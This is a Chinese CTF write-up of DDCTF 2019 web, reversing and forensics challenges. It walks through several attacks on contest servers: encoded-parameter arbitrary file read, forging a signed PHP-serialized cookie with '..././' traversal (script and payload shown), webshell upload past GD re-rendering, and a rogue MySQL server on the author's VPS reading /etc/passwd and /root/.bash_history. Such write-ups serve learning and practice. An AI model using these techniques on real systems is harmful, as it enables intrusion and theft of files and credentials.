DDCTF 部分Writeup
0x1 web1 滴~
打开题目链接如下所示
观察到URL:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
常识告诉我们要将JPG的值base64解码,结果为NjY2QzYxNjcyRTZBNzA2Nw==
,再次base64解码得666C61672E6A7067
再unhex一次得到flag.jpg
,所以应该是任意文件读取,只不过会被编码成base64的图片格式,所以构造读取index.php,即先将字符串index.php
Hex一次,再对结果两次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
然后去访问http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
,然后查看源码可以看到有
将得到的base64字符串解码得到index.php
的源码
index.php
'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'';
$file = str_replace("config","!", $file);
echo $file.'';
$txt = base64_encode(file_get_contents($file));
echo "";
/*
* Can you find the flag file?
*
*/
?>
尝试去读flag.txt,一些备份文件都无果,然后根据源码中根据注释信息去访问csdn博主的博客
看到一篇文章
所以去访问.practice.txt.swp
,于是构造字符串,将.practice.txt.swp
按上面的方法,一次Hex、两次base64编码得到TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09
于是访问url http://117.51.150.246/index.php?jpg=TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09
查看网页源码看到
解码得到f1ag!ddctf.php
,这时我们就想着去访问f1ag!ddctf.php
文件了,不过在index.php代码中我们可以看到,正则表达式不允许输入!
符号,但是下面的$file = str_replace("config","!", $file);
会把我们输入的文件名中的config
替换为!
,所以我们只需要构造f1agconfigddctf.php
然后编码,得到TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
然后访问url http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
查看源码得到
然后解码得到代码
f1ag!ddctf.php
简单过一遍代码可以知道是简单的变量覆盖漏洞(可以参考我们做的笔记),所以我们只用去访问http://117.51.150.246/f1ag!ddctf.php?k=&uid=
即可拿到flag
0x2 web签到题
打开题目链接看到网页
提示抱歉,您没有登陆权限,请获取权限后访问-----,网页查看源码,没有看到其他信息,但是其中有一个index.js
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
可以看到会通过ajax请求http://117.51.158.44/app/Auth.php
,并且会设置http头didictf_username
所以抓包得到
既然它提示我们没有管理员权限那么我们给didictf_username
赋值为admin
,即修改http头
Forward查看页面看到您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php,所以我们按照提示访问http://117.51.158.44/app/fL2XID2i0Cdh.php
得到源代码
#url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
#url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
根据代码审计,可以确定这是一道反序列化漏洞的利用,我们可以利用Session
类里的
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
中的$user_data
,将其值设置为类Application
的一个对象。
可以看到类Application
的public function __destruct()
函数,该函数会读取以成员变量$path
所指向的字符串为名字的文件并输出,并且该函数会在脚本执行完毕之后自动调用.接下来是利用方式
我们去访问http://117.51.158.44/app/Session.php
,得到页面返回结果提示
{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}
是json数据,unicode解码之后就是{"errMsg":"error","data":"抱歉,您没有登陆权限,请获取权限后访问-----"}
抓包增加http头didictf_username: admin
得到页面返回结果,unicode解码后为
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php"}{"errMsg":"sucess","data":"DiDI Welcome you %s"}
此时查看cookie得到
a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220e9be2d96d35328783c1f69498a260d6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.226.76%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0df866e958664506d94eecc413c2022c
url解码得到
a:4:{s:10:"session_id";s:32:"0e9be2d96d35328783c1f69498a260d6";s:10:"ip_address";s:13:"171.43.226.76";s:10:"user_agent";s:113:"Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/71.0.3578.98+Safari/537.36";s:9:"user_data";s:0:"";}0df866e958664506d94eecc413c2022c
通过审计代码可知我们先通过post一个nickname可以泄露eancrykey
,我们依旧请求http://117.51.158.44/app/Session.php
,抓包,修改
请求方法为POST,http头添加didictf_username: admin
,请求体 添加nickname:%s
得到返回结果
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 16 Apr 2019 12:07:54 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 359
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/71.0.3578.98 Safari\/537.36"}
可以得到eancrykey
:EzblrbNS
拿到eancrykey
后,本地PHPstudy搭建环境生成攻击用的序列化后的ddctf_id
以下是我的构造脚本
path='..././config/flag.txt';
$userdata=$userdata.serialize($a).'}';
$eancrykey='EzblrbNS';
$cookiedata=$userdata;
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
echo urlencode($cookiedata).'';
其中$userdata
为我自己的session信息,包括本机ip,UA标识符什么的,通过读源码知道,服务器会对我们的session校验,$path
赋值为..././config/flag.txt
,其中按源代码要求$path
的长度必须等于18位,并且会替换一次../
为空,所以我这里采用..././
的方式绕过,至于flag文件的路径,源代码有提示与eancrykey.txt同目录,至于名字,就猜嘛(一发入魂),
本地执行拿到我们自己构造的session
a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D7ffaffe481834a8ba3acb2a24ac7d76c
用我们构造的session去替换服务器给我们生成的session,即可以拿到flag
0x3 Web 大吉大利,今晚吃鸡~
我是非常规做出的这道题
注册账户,注册一个已经存在的账户,虽然会提示已经注册了,但是!!!!,,,,,发现其实我们已经以这个已经存在的账户的身份登进去了
我是根据完成这道题目的名单,第一个完成此题的人,刚好他做这个题的时候注册的时候id就是他的ddctf的id
我们登进去之后进入http://117.51.147.155:5050/index.html#/main/index
是这样的一个界面
然后买到入场券之后可以进入http://117.51.147.155:5050/index.html#/main/result
玩吃鸡(手动滑稽)
然而我们登录的这个账号是第一个做出此题的人,打开http://117.51.147.155:5050/index.html#/main/result
,即可看到flag
总结一下利用的过程,首先这个题有不需要密码任意登录的问题,然后是挑选了第一个完成此题的人,恰巧第一个完成此题的人他在完成这个题的时候注册的账号是他的ctf账户id(偷笑),而且因为此时游戏竞技场上没有其他人,所以拿到了flag
此题目的各个页面的url,我是从js中找到的在这个js里还能看到很多其他信息
我也测试登录其他人的账号,需要将所有对手移除才能拿到flag,而移除其他对手需要知道对方的id和ticket
0x4 Upload-IMG
查找
题目打开登陆后很明确,文件上传
那么传个图片试试,穿个图片马
结果发现没用。但是它有回显的图片
保存下来看看有啥区别
发现了文件头内有
xxxJFIFxxx;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80
这么一段,很明显这是图片经过二次渲染了,到网上查一下可以得出这是用的php-gd库
然后查一下php gd二次渲染绕过可以找到这么一个网站 https://wiki.ioin.in/soft/detail/1q
提供一个绕过GD库渲染的WEBSHELL生成器
来源于这个论坛 https://rdot.org/forum/showthread.php?t=2780
使用
- 首先linux下装个php-gd库
- 制作一个分辨率够大纯色图片(据论坛说成功率更高)
- 上传图片,下载转化后的图片
- 使用下载的php脚本处理下载的图片(需要更改脚本内的shell)
- 上传处理后的payload图片,拿到flag
0x5 mysql弱口令
题目链接
打开题目链接是这个样子的
经过百方查找才知道,这是一个通过伪造恶意mysql服务端,然后任意读取客户端文件的利用
这里题目的服务器就相当于是客户端,所以我们只要在我们的VPS上面部署恶意的mysql服务器,然后再运行用题目所给的agent,py,然后执行扫描就可以实现任意文件读取了
已有前辈们写好的构造恶意mysql服务器脚本
github地址
这里只用修改PORT
为我们构造的mysql服务的端口号
PORT = 3307
filelist = (
'/etc/passwd',
)
filelist
为我们要扫描的文件
最终会在当前目录生成mysql_log1
文件,我们读取的题目容器的数据就会被记录在mysql_log
文件里
在ageent.py
中添加
result={'Process_name':'123/mysqld','local_address':'0.0.0.0:3307'}
然后输入我们的vps地址,端口号是我们构造的mysql服务器指定的端口,我这里是用的3307
点击扫描,扫描到数据页面就会返回
此时我们查看mysql_log
文件确实返回了我们想要读取的数据
然后我们再尝试读/root/.bash_history
文件查找信息,得到
...
history -w
ls
2019-04-16 16:42:33,251:INFO:-- result
2019-04-16 16:42:33,251:INFO:Result: '╚/app/main/views.py
vim /home/dc2-user/ctf_web_2/app/main/views.py
history
exit
ls
pwd
history
cat /root/.bash_history
ls
cd ctf_web_2/
ls
cat app/main/views.py
ls
ps -aux
ps -aux | grep 5000
cat /root/.bash_history
ls
history | grep wget
...
其中看到vim /home/dc2-user/ctf_web_2/app/main/views.py
,然后再去读vim /home/dc2-user/ctf_web_2/app/main/views.py
,得到源码
# coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get('target_ip')
target_port = request.args.get('target_port')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})
...
看到注释# flag in mysql curl@localhost database:security table:flag
我们知道linux下,MySQL默认的数据文档存储目录为/var/lib/mysql/
,所以尝试/var/lib/mysql/security/flag.ibd
文件,网上有很多通过idb恢复数据表的教程,但是我拿到idb文件后用vscode打开,字符串搜索就看到了flag
0x6 Windows Reverse1
题目链接
首先查壳
上peid 显示:UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
很明显是upx
脱壳
直接上脱壳机即可,虽然这样拖出来的执行会有问题,不过已经可以再次用ida分析了
静态审计
主函数很简单
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
sub_401000(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
printf("You've got it!!%s\n", &v4);
else
printf("Try again later.\n");
return 0;
这里主要是看sub_401000(&v6);这个函数干了啥
跟进去
unsigned int __cdecl sub_401000(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
int v4; // ebx
v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = a1 - v1;
do
{
*v1 = byte_402FF8[(char)v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}
这就是一个查找算法,从一个序列里查找"DDCTF{reverseME}"这个字符串
看下内存,可以找到这个地方
UPX0:00403018 aZyxwvutsrqponm db '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>'
UPX0:00403018 db '=<;:9876543210/.-,+*)(',27h,'&%$#"! ',0
注意数据起始开始位置为402FF8
然后上脚本
a='''00 00 00 00 00 00 00 00
4E E6 40 BB B1 19 BF 44 FF FF FF FF FF FF FF FF
FE FF FF FF 01 00 00 00 7E 7D 7C 7B 7A 79 78 77
76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67
66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57
56 55 54 53 52 51 50 4F 4E 4D 4C 4B 4A 49 48 47
46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37
36 35 34 33 32 31 30 2F 2E 2D 2C 2B 2A 29 28 27
26 25 24 23 22 21 20 00 00 00 00 00 00 00 00 00'''.replace('\n',' ').split(' ')
a=[chr(int(ta,base=16)) for ta in a]
b='DDCTF{reverseME}'
result=[]
for bb in b:
index=0
tmp=-1
for aa in a:
if aa==bb:
tmp=index
index+=1
result.append(tmp)
print(''.join([chr(r+i) for r in result]))
即可得到flag
0x7 Windows Reverse2
题目链接
首先查壳,发现是Aspack
脱壳后IDA打开,F5一键反编译
进入主函数查看代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Dest; // [sp+8h] [bp-C04h]@4
char v5; // [sp+9h] [bp-C03h]@4
char v6; // [sp+408h] [bp-804h]@1
char Dst; // [sp+409h] [bp-803h]@1
char v8; // [sp+808h] [bp-404h]@1
char v9; // [sp+809h] [bp-403h]@1
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v8 = 0;
memset(&v9, 0, 0x3FFu);
printf(Format); // "Input code"
scanf(aS, &v6); // input -> v6
if ( !sub_4011F0(&v6) ) //判断输入字符是否为 0-9 A-F
{
printf(aInvalidInput);
exit(0);
}
sub_401240(&v6, (int)&v8); //对输入数据进行处理
Dest = 0;
memset(&v5, 0, 0x3FFu);
sprintf(&Dest, aDdctfS, &v8); // Dest = "DDCTF{" + v8 + "}"
//结果存放在Dest中
if ( !strcmp(&Dest, aDdctfReverse) ) // if(Dest == 'DDCTF{reverse+}')
printf(aYouVeGotItS, &Dest); // ok
else
printf(aSomethingWrong);
return 0;
}
数据格式判断函数 sub_4011F0(&v6):
char __usercall sub_4011F0@(const char *a1@)
{
signed int v1; // eax@1
signed int v2; // edx@1
int v3; // ecx@3
char v4; // al@4
v1 = strlen(a1);
v2 = v1; // v2 -> len(v6)
if ( v1 && v1 % 2 != 1 ) // 长度为偶数位
{
v3 = 0;
if ( v1 <= 0 )
return 1; // true
while ( 1 )
{
v4 = a1[v3];
if ( (v4 < 48 || v4 > 57) && (v4 < 65 || v4 > 70) )// 范围是否在 0-9 A-F
break;
if ( ++v3 >= v2 )
return 1;
}
}
return 0; // false
}
接下来查看输入数据处理函数 sub_401240():
void __usercall sub_401240(const char *a1@, int a2)
{
signed int v2; // edi@1 a1 -> input a2 -> 0
unsigned int v3; // edx@1
char v4; // bl@2
char v5; // al@3
char v6; // al@7
unsigned int v7; // ecx@11
char v8; // [sp+Bh] [bp-405h]@0
char v9; // [sp+Ch] [bp-404h]@1
char Dst; // [sp+Dh] [bp-403h]@1
v2 = strlen(a1); // v2 -> len(a1)
v9 = 0;
memset(&Dst, 0, 0x3FFu);
v3 = 0;
if ( v2 > 0 )
{
v4 = v8;
do
{
v5 = a1[v3];
if ( (unsigned __int8)(a1[v3] - 48) > 9u )// ! 0-9
{
if ( (unsigned __int8)(v5 - 65) <= 5u ) // A-F
v8 = v5 - 55; // v5-'7'
}
else
{
v8 = a1[v3] - 48;
} // hexstr[i] -> int
v6 = a1[v3 + 1];
if ( (unsigned __int8)(a1[v3 + 1] - 48) > 9u )
{
if ( (unsigned __int8)(v6 - 65) <= 5u )
v4 = v6 - 55;
}
else
{
v4 = a1[v3 + 1] - 48;
} // hexstr[i+1] -> int
v7 = v3 >> 1;
v3 += 2;
*(&v9 + v7) = v4 | 16 * v8;
}
while ( (signed int)v3 < v2 );
}
//这一层主要是实现16进制字符串转byte[]数组,然后将结果传入下一层函数进行处理
sub_401000(v2 / 2, (void *)a2);
}
下一层处理函数 sub_401000():
void __cdecl sub_401000(int a1, void *a2)
{
char *v2; // ecx@0 str(byte)
int v3; // ebp@1
char *v4; // edi@1
signed int v5; // esi@1
unsigned __int8 v6; // bl@2
signed int v7; // esi@3 input str
int v8; // edi@10
int v9; // edi@13
size_t v10; // esi@15
void *v11; // edi@15 byte[]
const void *v12; // eax@15
int v13; // eax@18
int v14; // edx@18
int v15; // [sp+4h] [bp-48h]@0
int v16; // [sp+8h] [bp-44h]@0
int v17; // [sp+10h] [bp-3Ch]@0
char Dst; // [sp+14h] [bp-38h]@2
unsigned __int8 v19; // [sp+15h] [bp-37h]@2
unsigned __int8 v20; // [sp+16h] [bp-36h]@3
char v21; // [sp+18h] [bp-34h]@3
char v22; // [sp+19h] [bp-33h]@3
char v23; // [sp+1Ah] [bp-32h]@3
char i; // [sp+1Bh] [bp-31h]@3
void *v25; // [sp+1Ch] [bp-30h]@1
char v26; // [sp+20h] [bp-2Ch]@1
void *Src; // [sp+24h] [bp-28h]@15
size_t Size; // [sp+34h] [bp-18h]@15
unsigned int v29; // [sp+38h] [bp-14h]@15
int v30; // [sp+3Ch] [bp-10h]@18
int v31; // [sp+48h] [bp-4h]@1
v3 = a1; // len(byte)
v25 = a2;
std::basic_string,std::allocator>::basic_string, std::allocator>(&v26); //v26 = new String()
v5 = 0;
v31 = 0;
if ( a1 )
{
do
{
*(&Dst + v5) = *v4;
v6 = v19;
++v5; // looper -> 3
--v3;
++v4;
if ( v5 == 3 )
{
v21 = (unsigned __int8)Dst >> 2; // Dst / 4 >>2
v22 = (v19 >> 4) + 16 * (Dst & 3); // Dst 低两位 *16
v23 = (v20 >> 6) + 4 * (v19 & 0xF); // v14 低四位 *4
i = v20 & 0x3F; // i = 3f
v7 = 0;
do
std::basic_string,std::allocator>::operator+=(
&v26,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v7++)] ^ 0x76));
while ( v7 < 4 ); //四位一处理
v5 = 0;
}
}
while ( v3 );
if ( v5 )
{
if ( v5 < 3 )
{
memset(&Dst + v5, 0, 3 - v5);
v6 = v19;
}
v22 = (v6 >> 4) + 16 * (Dst & 3);
v21 = (unsigned __int8)Dst >> 2;
v23 = (v20 >> 6) + 4 * (v6 & 0xF);
v8 = 0;
for ( i = v20 & 0x3F; v8 < v5 + 1; ++v8 )
std::basic_string,std::allocator>::operator+=(
&v26,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v8)] ^ 0x76));
if ( v5 < 3 )
{
v9 = 3 - v5;
do
{
std::basic_string,std::allocator>::operator+=(&v26, 61); //最后一块长度不足四位补'='
--v9;
}
while ( v9 );
}
}
}
v10 = Size;
v11 = v25;
memset(v25, 0, Size + 1);
v12 = Src;
if ( v29 < 0x10 )
v12 = &Src;
memcpy(v11, v12, v10);
v31 = -1;
v13 = std::basic_string,std::allocator>::~basic_string,std::allocator>();
sub_40145E(v13, v14, (unsigned int)&Dst ^ v30, v17, v15, v16, Dst);
}
可以看出最后进行了一个base64编码过程
分析结果
所以函数执行逻辑就是,先将传入的16进制字符串转成byte[]数组,然后将这个byte[]数组进行base64编码,最后将编码结果包上DDCTF{}后与'DDCTF{reverse+}'
进行比较,判断正确的十六进制字符串即为flag.
最后附上python脚本:
import base64
res='reverse+'
b=base64.b64decode(res)
print('DDCTF{'+b.hex().upper()+'}')
flag: DDCTF{ADEBDEAEC7BE}
0x8 Wireshark
题目文件
首先三板斧走起
首先看看协议统计,发现没有FTP,HTTP倒是有很多
尝试到出对象,可以看到俩multipart/form-data提交的数据,这是二进制提交的,保存下来
跟踪下提交请求的http流,可以发现是在上传图片
检查上传信息
可以找到一些cookie,能够成功登陆上图床,但是没有什么线索
查看其他http请求
我们可以发现第一个请求的网站有些不太一样
http://tools.jb51.net/aideddesign/img_add_info
打开看看,可以发现是一个图片隐藏信息的网站,那么目标就很明确了
解密出隐写的图片
隐写
这是一个浏览器端的处理,所以网络请求里肯定没有相关线索了
算法的js代码是开源的https://github.com/oakes/PixelJihad
看了下也找不到什么漏洞,到网站上无密码也不能解密
问题就只能从图片本身入手了
图片
一共有两张图,从小的那个钥匙图开始
首先祭出Stegsolve
查看通道和frame无果
那么尝试修改图片宽度和高度,发现一个key:xS8niJM7
很显然是另一个图的密码了
试试,可得到flag
注意
- 导出的对象需要进行修整,用啥都行,dd命令/各种hex编辑器/自己写个脚本
- 图片提取方式如果不当会损坏图片信息,虽然表面看上去没有区别